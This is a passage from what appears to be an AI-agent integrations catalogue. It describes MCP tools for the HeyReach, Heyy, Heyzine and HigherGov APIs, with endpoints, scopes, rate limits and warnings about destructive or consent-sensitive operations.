a first-degree connection of one sender, named by profile url or LinkedIn id. Answers 400 naming the id when the sender does not exist. POST /api/public/MyNetwork/IsConnection. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/MyNetwork/IsConnection. Scopes: api. heyreach_post_api_public_stats_getoverallstats (read) — Per-day and total counts for the workspace over a date range: profile views, follows, connections sent and accepted, messages and InMails sent and replied, voice notes, unique leads contacted and auto-tagging. Empty accountIds or campaignIds mean 'all'. POST /api/public/stats/GetOverallStats. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/stats/GetOverallStats. Scopes: api. heyreach_post_api_public_stats_getoverallstatsbycampaign (read) — The same counts as 'Get overall statistics', broken down per campaign for both the per-day and the total figures. POST /api/public/stats/GetOverallStatsByCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/stats/GetOverallStatsByCampaign. Scopes: api. heyreach_post_api_public_webhooks_createwebhook (write) — Register a webhook. Body: webhookName (25 characters maximum -- measured, HeyReach answers 400 above it and documents no limit), webhookUrl, eventType (CONNECTION_REQUEST_SENT, CONNECTION_REQUEST_ACCEPTED, MESSAGE_SENT, MESSAGE_REPLY_RECEIVED, EVERY_MESSAGE_REPLY_RECEIVED, INMAIL_SENT, INMAIL_REPLY_RECEIVED, FOLLOW_SENT, LIKED_POST, VIEWED_PROFILE, CAMPAIGN_COMPLETED, LEAD_TAG_UPDATED) and campaignIds (empty means every campaign). Returns {webhookId}; every read returns the same value under `id`. POST /api/public/webhooks/CreateWebhook. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/webhooks/CreateWebhook. Scopes: api. heyreach_post_api_public_webhooks_getallwebhooks (read) — A paginated page of this workspace's webhooks. includeCustomHeaders=true also returns each one's custom request headers, which are whatever the customer put there -- often an authorization header for their own receiver. POST /api/public/webhooks/GetAllWebhooks. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/webhooks/GetAllWebhooks. Scopes: api. ================================================================================ ## Heyy URL: https://www.agenticfabriq.com/integrations/heyy Section: Integrated Tools Heyy — 71 MCP tools Provider key: heyy. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. heyy_delete_api_webhooks_by_webhookid (write, destructive) — Delete API webhook via DELETE /api_webhooks/{webhookId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/api_webhooks/{webhookId}. Scopes: api. heyy_delete_attributes_by_attributeid (write, destructive) — Delete attribute via DELETE /attributes/{attributeId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/attributes/{attributeId}. Scopes: api. heyy_delete_campaigns_by_campaignid (write, destructive) — Delete campaign via DELETE /campaigns/{campaignId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/campaigns/{campaignId}. Scopes: api. heyy_delete_campaigns_by_campaignid_recipients (write, destructive) — Remove recipients via DELETE /campaigns/{campaignId}/recipients. Names the recipients to remove in a JSON BODY -- the campaign is in the path, the recipients are not -- so this is one of only two DELETEs on this surface that sends a body. A caller that sends none removes nothing while the call still succeeds. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/campaigns/{campaignId}/recipients. Scopes: api. heyy_delete_chats_by_chatid (write, destructive) — Delete chat via DELETE /chats/{chatId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/chats/{chatId}. Scopes: api. heyy_delete_contacts_by_contactid (write, destructive) — Delete contact via DELETE /contacts/{contactId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/contacts/{contactId}. Scopes: api. heyy_delete_contacts_by_contactid_labels (write, destructive) — Remove labels from contact via DELETE /contacts/{contactId}/labels. Names the labels to remove in a JSON BODY, not in the path, so this is the second of only two DELETEs on this surface that sends a body. It detaches labels from the contact and does not delete the labels themselves -- Delete label is what destroys a label for the whole workspace. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/contacts/{contactId}/labels. Scopes: api. heyy_delete_labels_by_labelid (write, destructive) — Delete label via DELETE /labels/{labelId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/labels/{labelId}. Scopes: api. heyy_delete_message_templates_by_messagetemplateid (write, destructive) — Delete message template via DELETE /message_templates/{messageTemplateId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/message_templates/{messageTemplateId}. Scopes: api. heyy_delete_teams_by_teamid (write, destructive) — Delete team via DELETE /teams/{teamId}. DESTRUCTIVE and not reversible through this API: Heyy's v3 contract publishes no undelete and no recycle bin, so the only recovery is re-creating the resource. DELETE /api/v1/heyy/teams/{teamId}. Scopes: api. heyy_get_attributes_by_attributeid (read) — Get attribute via GET /attributes/{attributeId}. GET /api/v1/heyy/attributes/{attributeId}. Scopes: api. heyy_get_automations_by_automationid (read) — Get automation via GET /automations/{automationId}. GET /api/v1/heyy/automations/{automationId}. Scopes: api. heyy_get_campaigns_by_campaignid (read) — Get campaign via GET /campaigns/{campaignId}. GET /api/v1/heyy/campaigns/{campaignId}. Scopes: api. heyy_get_channels_by_channelid (read) — Get channel via GET /channels/{channelId}. GET /api/v1/heyy/channels/{channelId}. Scopes: api. heyy_get_chats_by_chatid (read) — Get chat via GET /chats/{chatId}. GET /api/v1/heyy/chats/{chatId}. Scopes: api. heyy_get_contacts_by_contactid (read) — Get contact via GET /contacts/{contactId}. GET /api/v1/heyy/contacts/{contactId}. Scopes: api. heyy_get_files_by_fileid (read) — Get file via GET /files/{fileId}. Reads a file record that already exists in the workspace. UPLOADING is not part of this integration: Heyy's `POST /files` is a multipart binary upload and is withheld, so a `fileId` referenced by the message, template and campaign tools has to be created in the Heyy app or by calling that endpoint outside Agentic Fabriq. GET /api/v1/heyy/files/{fileId}. Scopes: api. heyy_get_files_by_fileid_public_url (read) — Get public file URL via GET /files/{fileId}/public_url. Returns a stable public URL for an uploaded file, creating one if it does not exist yet. Use this URL when referencing the file by URL (for example, in automation template media overrides). The URL does not expire. GET /api/v1/heyy/files/{fileId}/public_url. Scopes: api. heyy_get_journeys_by_journeyid (read) — Get journey via GET /journeys/{journeyId}. GET /api/v1/heyy/journeys/{journeyId}. Scopes: api. heyy_get_labels_by_labelid (read) — Get label via GET /labels/{labelId}. GET /api/v1/heyy/labels/{labelId}. Scopes: api. heyy_get_message_templates_by_messagetemplateid (read) — Get message template via GET /message_templates/{messageTemplateId}. GET /api/v1/heyy/message_templates/{messageTemplateId}. Scopes: api. heyy_get_teams_by_teamid (read) — Get team via GET /teams/{teamId}. GET /api/v1/heyy/teams/{teamId}. Scopes: api. heyy_get_users (read) — Get users via GET /users. Returns the workspace's members. This is a plain GET rather than a `POST /users/search`, so it takes no filter, sort or page arguments at all -- the two listings that behave this way are users and workspace. GET /api/v1/heyy/users. Scopes: api. heyy_get_users_by_userid (read) — Get user via GET /users/{userId}. GET /api/v1/heyy/users/{userId}. Scopes: api. heyy_get_workspace (read) — Get workspace via GET /workspace. Returns the workspace associated with the API key. Takes no arguments and is the cheapest read on the surface, which is why it is also what Agentic Fabriq probes a pasted API key with: the key identifies its own workspace, so there is nothing to select. GET /api/v1/heyy/workspace. Scopes: api. heyy_post_api_webhooks (write) — Create API webhook via POST /api_webhooks. Registers a URL Heyy will POST workspace events to. The delivery target is the customer's own endpoint, so anything this webhook is pointed at receives Heyy's event payloads -- including message content -- until the webhook is deleted. POST /api/v1/heyy/api_webhooks. Scopes: api. heyy_post_api_webhooks_search (write) — Search API webhooks via POST /api_webhooks/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/api_webhooks/search. Scopes: api. heyy_post_attributes (write) — Create attribute via POST /attributes. POST /api/v1/heyy/attributes. Scopes: api. heyy_post_attributes_search (write) — Search attributes via POST /attributes/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/attributes/search. Scopes: api. heyy_post_automations_by_automationid_pause (write) — Pause automation via POST /automations/{automationId}/pause. POST /api/v1/heyy/automations/{automationId}/pause. Scopes: api. heyy_post_automations_by_automationid_trigger (write) — Trigger automation via POST /automations/{automationId}/trigger. Starts an automation for a contact, with input parameters. Heyy names this as the SAFER way to reach a contact than sending directly: an automation can carry a subscription condition, while the message tools check nothing. What the automation then does -- including sending -- is configured in Heyy, not here, so the effect of this call is whatever that automation is built to do. POST /api/v1/heyy/automations/{automationId}/trigger. Scopes: api. heyy_post_automations_by_automationid_unpause (write) — Unpause automation via POST /automations/{automationId}/unpause. POST /api/v1/heyy/automations/{automationId}/unpause. Scopes: api. heyy_post_automations_search (write) — Search automations via POST /automations/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/automations/search. Scopes: api. heyy_post_campaigns (write) — Create campaign via POST /campaigns. POST /api/v1/heyy/campaigns. Scopes: api. heyy_post_campaigns_by_campaignid_recipients (write) — Add recipients via POST /campaigns/{campaignId}/recipients. POST /api/v1/heyy/campaigns/{campaignId}/recipients. Scopes: api. heyy_post_campaigns_by_campaignid_start (write) — Start campaign via POST /campaigns/{campaignId}/start. Starts the campaign SENDING. This is the point of no return for a broadcast: every recipient currently on the campaign is messaged, the sends are billed as message credits, and nothing in this API unsends them. Read the campaign and its recipients back before calling it. POST /api/v1/heyy/campaigns/{campaignId}/start. Scopes: api. heyy_post_campaigns_search (write) — Search campaigns via POST /campaigns/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/campaigns/search. Scopes: api. heyy_post_channels_search (write) — Search channels via POST /channels/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/channels/search. Scopes: api. heyy_post_chats_by_chatid_assign_team (write) — Assign chat to team via POST /chats/{chatId}/assign_team. POST /api/v1/heyy/chats/{chatId}/assign_team. Scopes: api. heyy_post_chats_by_chatid_assign_user (write) — Assign chat to user via POST /chats/{chatId}/assign_user. POST /api/v1/heyy/chats/{chatId}/assign_user. Scopes: api. heyy_post_chats_by_chatid_mark_as_not_sensitive (write) — Mark chat as not sensitive via POST /chats/{chatId}/mark_as_not_sensitive. Clears the sensitive flag, which WIDENS who on the team can read the conversation. It is the reverse of Mark chat as sensitive and is not classified destructive, but it does expose a chat that somebody deliberately restricted. POST /api/v1/heyy/chats/{chatId}/mark_as_not_sensitive. Scopes: api. heyy_post_chats_by_chatid_mark_as_read (write) — Mark chat as read via POST /chats/{chatId}/mark_as_read. POST /api/v1/heyy/chats/{chatId}/mark_as_read. Scopes: api. heyy_post_chats_by_chatid_mark_as_sensitive (write) — Mark chat as sensitive via POST /chats/{chatId}/mark_as_sensitive. Flags the conversation as containing sensitive information, which is a visibility control inside Heyy rather than a note: it restricts who on the team can read the chat. POST /api/v1/heyy/chats/{chatId}/mark_as_sensitive. Scopes: api. heyy_post_chats_by_chatid_mark_as_unread (write) — Mark chat as unread via POST /chats/{chatId}/mark_as_unread. POST /api/v1/heyy/chats/{chatId}/mark_as_unread. Scopes: api. heyy_post_chats_by_chatid_status (write) — Change chat status via POST /chats/{chatId}/status. POST /api/v1/heyy/chats/{chatId}/status. Scopes: api. heyy_post_chats_search (write) — Search chats via POST /chats/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/chats/search. Scopes: api. heyy_post_contacts (write) — Create contact via POST /contacts. POST /api/v1/heyy/contacts. Scopes: api. heyy_post_contacts_bulk (write) — Bulk upsert contacts via POST /contacts/bulk. Upserts many contacts in one call, with the same match-by-identifier behaviour as Upsert contact. A partial failure is reported by Heyy in the response rather than raised here, so read the result instead of treating a 200 as "all rows landed". POST /api/v1/heyy/contacts/bulk. Scopes: api. heyy_post_contacts_by_contactid_labels (write) — Add labels to contact via POST /contacts/{contactId}/labels. Attaches existing labels to the contact. It does not create a label -- Create label does that -- and labels are what the campaign and search tools filter audiences on, so adding one can change who a scheduled campaign reaches. POST /api/v1/heyy/contacts/{contactId}/labels. Scopes: api. heyy_post_contacts_by_contactid_subscribe (write) — Subscribe contact via POST /contacts/{contactId}/subscribe. POST /api/v1/heyy/contacts/{contactId}/subscribe. Scopes: api. heyy_post_contacts_by_contactid_unsubscribe (write) — Unsubscribe contact via POST /contacts/{contactId}/unsubscribe. Records that the contact has opted out. It does not by itself stop the message tools: Send message and Send template message deliver to an unsubscribed contact, because Heyy makes the consent check the caller's responsibility. POST /api/v1/heyy/contacts/{contactId}/unsubscribe. Scopes: api. heyy_post_contacts_search (write) — Search contacts via POST /contacts/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/contacts/search. Scopes: api. heyy_post_contacts_upsert (write) — Upsert contact via POST /contacts/upsert. Creates the contact or MATCHES an existing one by identifier (phone number or email) and updates it. This is the tool to use when the identifier may already exist -- Create contact fails on a duplicate, and Update contact cannot change a phone number or an email at all. POST /api/v1/heyy/contacts/upsert. Scopes: api. heyy_post_journeys_by_journeyid_subscribe (write) — Subscribe contacts to journey via POST /journeys/{journeyId}/subscribe. Adds contacts to a journey, which may begin messaging them immediately depending on how the journey is built in Heyy. POST /api/v1/heyy/journeys/{journeyId}/subscribe. Scopes: api. heyy_post_journeys_by_journeyid_unsubscribe (write) — Unsubscribe contacts from journey via POST /journeys/{journeyId}/unsubscribe. POST /api/v1/heyy/journeys/{journeyId}/unsubscribe. Scopes: api. heyy_post_journeys_search (write) — Search journeys via POST /journeys/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/journeys/search. Scopes: api. heyy_post_labels (write) — Create label via POST /labels. POST /api/v1/heyy/labels. Scopes: api. heyy_post_labels_search (write) — Search labels via POST /labels/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/labels/search. Scopes: api. heyy_post_message_templates (write) — Create message template via POST /message_templates. POST /api/v1/heyy/message_templates. Scopes: api. heyy_post_message_templates_search (write) — Search message templates via POST /message_templates/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/message_templates/search. Scopes: api. heyy_post_messages_send (write) — Send message via POST /messages/send. Sends a free-form message on a channel the workspace has already connected. TWO THINGS THIS SPENDS THAT NO OTHER TOOL DOES. It contacts a real person, and on WhatsApp it consumes message credits, which Heyy bills on top of the plan -- there is no dry run. And consent is the CALLER's job: Heyy's own reference states that for a MARKETING message "you are responsible for confirming the contact is subscribed before you call it. The message will be sent even if the contact is unsubscribed." Check `isSubscribed` with Get contact first, or use Trigger automation, which Heyy names as the path where a subscription condition can gate the send. Free-form replies also stop working once the channel's conversation window has closed; that is when a template message is the only form that will deliver. POST /api/v1/heyy/messages/send. Scopes: api. heyy_post_messages_send_template (write) — Send template message via POST /messages/send_template. Sends a pre-approved template message, which is what reaches a contact AFTER the channel's free-form conversation window has closed. The same consent rule applies verbatim: for a MARKETING message "you are responsible for confirming the contact is subscribed before you call it. The message will be sent even if the contact is unsubscribed." WhatsApp templates are approved by Meta rather than by Heyy, so a template that is not approved for the channel fails at Heyy's end rather than here, and the same message credits are spent. POST /api/v1/heyy/messages/send_template. Scopes: api. heyy_post_teams (write) — Create team via POST /teams. POST /api/v1/heyy/teams. Scopes: api. heyy_post_teams_search (write) — Search teams via POST /teams/search. This is a LIST endpoint even though it is a POST: filtering (`query`), ordering (`sortBy`), free-text matching (`search`) and paging (`pagination`, zero-based `page` with a `limit` of 1-100, default 10) all travel in the request body, and the response wraps the rows in `data` with a `pagination.total`. Send an empty body to get the first page unfiltered. POST /api/v1/heyy/teams/search. Scopes: api. heyy_put_api_webhooks_by_webhookid (write) — Update API webhook via PUT /api_webhooks/{webhookId}. PUT /api/v1/heyy/api_webhooks/{webhookId}. Scopes: api. heyy_put_attributes_by_attributeid (write) — Update attribute via PUT /attributes/{attributeId}. PUT /api/v1/heyy/attributes/{attributeId}. Scopes: api. heyy_put_campaigns_by_campaignid (write) — Update campaign via PUT /campaigns/{campaignId}. PUT /api/v1/heyy/campaigns/{campaignId}. Scopes: api. heyy_put_contacts_by_contactid (write) — Update contact via PUT /contacts/{contactId}. Updates contact profile fields (first name, last name, and custom attributes). Phone number and email cannot be changed here — use upsert to create or match by identifier. PUT /api/v1/heyy/contacts/{contactId}. Scopes: api. heyy_put_labels_by_labelid (write) — Update label via PUT /labels/{labelId}. PUT /api/v1/heyy/labels/{labelId}. Scopes: api. heyy_put_message_templates_by_messagetemplateid (write) — Update message template via PUT /message_templates/{messageTemplateId}. PUT /api/v1/heyy/message_templates/{messageTemplateId}. Scopes: api. heyy_put_teams_by_teamid (write) — Update team via PUT /teams/{teamId}. PUT /api/v1/heyy/teams/{teamId}. Scopes: api. ================================================================================ ## Heyzine URL: https://www.agenticfabriq.com/integrations/heyzine Section: Integrated Tools Heyzine — 17 MCP tools Provider key: heyzine. Scopes: mcp. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. heyzine_get_api1 (write) — Convert a document at a public URL into a hosted flipbook through Heyzine's link endpoint and return the flipbook URL it resolves to. Conversion starts on the first access, so the first call on a new document can be slow. Prefer the async REST conversion for a URL: it answers immediately and can be polled. ON THE FREE PLAN THE ACCOUNT KEEPS ONLY FIVE FLIPBOOKS AND CONVERTING A SIXTH REMOVES THE OLDEST ONE, so a conversion can destroy an earlier publication without naming it. Heyzine authenticates this endpoint with the account's Client ID in the query string rather than with the API key, and Agentic Fabriq supplies it from the connection via GET /api1 GET /api/v1/heyzine/api1. Scopes: mcp. heyzine_get_bookshelf_flipbooks (read) — List the flipbooks placed on one bookshelf, ordered by their position on the shelf. PLAN-GATED with the other bookshelf tools. Heyzine documents this GET as carrying a JSON body ({"id": "..."}), which is what the connector sends; the Agentic Fabriq route takes it as an ordinary query argument via GET /api1/bookshelf-flipbooks GET /api/v1/heyzine/api1/bookshelf-flipbooks. Scopes: mcp. heyzine_get_bookshelf_list (read) — List every bookshelf in the connected account with its title, flipbook count and public links. PLAN-GATED: bookshelves need a plan that includes them, so a refusal here can be the account's plan rather than the credential via GET /api1/bookshelf-list GET /api/v1/heyzine/api1/bookshelf-list. Scopes: mcp. heyzine_get_flipbook_details (read) — Read everything Heyzine holds about one flipbook: title, subtitle, description, the internal private note, page count, tags, its base, custom, thumbnail and source-PDF links, and its oEmbed object. Heyzine documents this GET as carrying a JSON body ({"id": "..."}), which is what the connector sends; the Agentic Fabriq route takes it as an ordinary query argument via GET /api1/flipbook-details GET /api/v1/heyzine/api1/flipbook-details. Scopes: mcp. heyzine_get_flipbook_list (read) — List every flipbook in the connected account with its title, subtitle, description, private note, page count, stored size and links. THE DISCOVERY CALL: the `id` every other flipbook tool takes comes from here. Takes no arguments and is not paginated via GET /api1/flipbook-list GET /api/v1/heyzine/api1/flipbook-list. Scopes: mcp. heyzine_get_oembed (read) — Get the standard oEmbed 1.0 record for a public flipbook URL, including the ready-to-paste iframe embed code and the cover thumbnail. Describes a PUBLIC flipbook by its URL rather than a flipbook of the connected account by id, so it works for any Heyzine publication via GET /api1/oembed GET /api/v1/heyzine/api1/oembed. Scopes: mcp. heyzine_patch_flipbook_design (write) — Change the look, the publication settings and the text of an existing flipbook. `template` copies another flipbook's styles and any field sent beside it overwrites the copied value. `url_path` and `url_domain` need a plan with custom URL support. Not destructive: nothing is deleted, but the live flipbook changes immediately via PATCH /api1/flipbook-design PATCH /api/v1/heyzine/api1/flipbook-design. Scopes: mcp. heyzine_post_access_add (write) — Add a reader, or a shared password, to the access list that protects a flipbook or bookshelf. GRANTS ACCESS to a protected publication. Four of the access types (email_link, send_code, email_code, webhook_code) are Premium-plan only via POST /api1/access-add POST /api/v1/heyzine/api1/access-add. Scopes: mcp. heyzine_post_access_remove (write, destructive) — DESTRUCTIVE. Remove a reader, or a password, from the access list that protects a flipbook or bookshelf. The entry is gone and that person can no longer open the publication; Heyzine publishes no undo and the entry has to be added again to restore it via POST /api1/access-remove POST /api/v1/heyzine/api1/access-remove. Scopes: mcp. heyzine_post_access_setup (write) — Turn password protection on or off for a flipbook or bookshelf and set the wording of its login screen. `mode: "disabled"` MAKES A PROTECTED PUBLICATION PUBLIC, so it widens access rather than narrowing it; the access list itself is not deleted via POST /api1/access-setup POST /api/v1/heyzine/api1/access-setup. Scopes: mcp. heyzine_post_async (write) — Start converting a document at a public URL into a flipbook and return immediately with its state (started, processed or failed). THIS IS ALSO THE POLL: calling it again with the same `pdf` URL returns the current state rather than converting a second time. Flipbook links show a not-found page until the state is `processed`. ON THE FREE PLAN THE ACCOUNT KEEPS ONLY FIVE FLIPBOOKS AND CONVERTING A SIXTH REMOVES THE OLDEST ONE, so a conversion can destroy an earlier publication without naming it. via POST /api1/async POST /api/v1/heyzine/api1/async. Scopes: mcp. heyzine_post_bookshelf_add (write) — Place an existing flipbook on a bookshelf, optionally at a chosen position. The flipbook itself is untouched; only its membership of the shelf changes. PLAN-GATED with the other bookshelf tools via POST /api1/bookshelf-add POST /api/v1/heyzine/api1/bookshelf-add. Scopes: mcp. heyzine_post_bookshelf_remove (write) — Take a flipbook off a bookshelf. NOT DESTRUCTIVE and deliberately not flagged as such: the flipbook itself is kept and only its place on the shelf is removed -- deleting a flipbook is a different tool. PLAN-GATED with the other bookshelf tools via POST /api1/bookshelf-remove POST /api/v1/heyzine/api1/bookshelf-remove. Scopes: mcp. heyzine_post_bookshelf_social (write) — Set the title, description and thumbnail a bookshelf shows when its link is shared. Targets a bookshelf, so an account without the bookshelf feature can be refused here for the same plan reason as the bookshelf tools via POST /api1/bookshelf-social POST /api/v1/heyzine/api1/bookshelf-social. Scopes: mcp. heyzine_post_flipbook_delete (write, destructive) — DESTRUCTIVE AND PERMANENT. Delete one flipbook from the account. Heyzine publishes no trash, no restore endpoint and no undo, and the public links stop working at once. If the intent is only to take it out of circulation, the reversible alternative is the access list: set the password protection mode instead via POST /api1/flipbook-delete POST /api/v1/heyzine/api1/flipbook-delete. Scopes: mcp. heyzine_post_flipbook_social (write) — Set the title, description and thumbnail a flipbook shows when its link is posted on a social network or in a chat. Distinct from the flipbook's own title and description, which the design tool sets via POST /api1/flipbook-social POST /api/v1/heyzine/api1/flipbook-social. Scopes: mcp. heyzine_post_rest (write) — Convert a document at a public URL into a flipbook SYNCHRONOUSLY and return its links, page count and aspect ratio. The response comes only when the conversion ends, so a large document can exceed the client timeout -- use the async conversion and poll it instead when the document is big or the size is unknown. ON THE FREE PLAN THE ACCOUNT KEEPS ONLY FIVE FLIPBOOKS AND CONVERTING A SIXTH REMOVES THE OLDEST ONE, so a conversion can destroy an earlier publication without naming it. via POST /api1/rest POST /api/v1/heyzine/api1/rest. Scopes: mcp. ================================================================================ ## HigherGov URL: https://www.agenticfabriq.com/integrations/highergov Section: Integrated Tools HigherGov — 19 MCP tools Provider key: highergov. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. highergov_get_api_external_agency (read) — List federal and state/local agencies and their hierarchy, via GET /api-external/agency/. THE LOOKUP TABLE THE AWARD FILTERS NEED. `agency_key` here is what 'List federal prime contract awards', the grant, IDV, subaward and opportunity tools all take as `agency_key`, `awarding_agency_key` and `funding_agency_key`; those filters are HigherGov integers, not CGAC codes, so they come from here. Each row carries `agency_name`, `agency_abbreviation`, `agency_type`, a `defense_flag`, and `level_1` through `level_7` -- the department down to the contracting office, which is how a sub-agency is recognised as part of its department. Updated ad hoc, as agencies are created or become relevant. GET /api/v1/highergov/api-external/agency/. Scopes: api. highergov_get_api_external_awardee (read) — List entities registered to do business with the federal government, via GET /api-external/awardee/. Sourced from SAM.gov and DSBS, refreshed MONTHLY, with `registration_last_update_date` as the update-check field. Each row carries the legal business name and cleaned name, UEI, CAGE code, the `awardee_key` and `awardee_key_parent` every award filter uses, primary and full NAICS and PSC lists, business-type information, employee count, year founded, website, physical address and the government business point of contact, plus registration activation and expiration dates. `parent_flag` says whether the row IS a corporate parent. Filter by `uei` or `cage_code` for an exact entity and by `primary_naics` for a capability sweep. GET /api/v1/highergov/api-external/awardee/. Scopes: api. highergov_get_api_external_awardee_mp (read) — List mentor-protege agreements between awardees, via GET /api-external/awardee-mp/. The SBA Mentor-Protege Program pairs an established firm with a small business so the two may bid as a joint venture without the mentor's size disqualifying the pair. Each row names the mentor and protege by `awardee_key` (and by parent key), carries the protege's `primary_naics` and an `active_flag` -- INACTIVE ROWS ARE RETURNED TOO, and an expired agreement does not confer the set-aside eligibility a live one does, so read the flag rather than the presence of the row. Every filter is optional: give a mentor key to find its proteges, a protege key to find its mentor. This is the one operation the sealed contract documents with no description at all. GET /api/v1/highergov/api-external/awardee-mp/. Scopes: api. highergov_get_api_external_awardee_partnership (read) — List prime/subcontractor teaming relationships between awardees, via GET /api-external/awardee-partnership/. DERIVED FROM SUBAWARD REPORTING, refreshed weekly as new subaward data lands -- so it is a record of who has actually worked together, not of who has signed a teaming agreement. Each row names a prime and a sub by `awardee_key` (and parent key) and carries `relationship_type`, `number_of_awards`, `total_awards` and `most_recent_date`. Use it to find a prime's usual subs before bidding, or to see who has already subbed to an agency's incumbent. Nothing here is a filter on the awards themselves; for those, use 'List federal subcontract awards'. GET /api/v1/highergov/api-external/awardee-partnership/. Scopes: api. 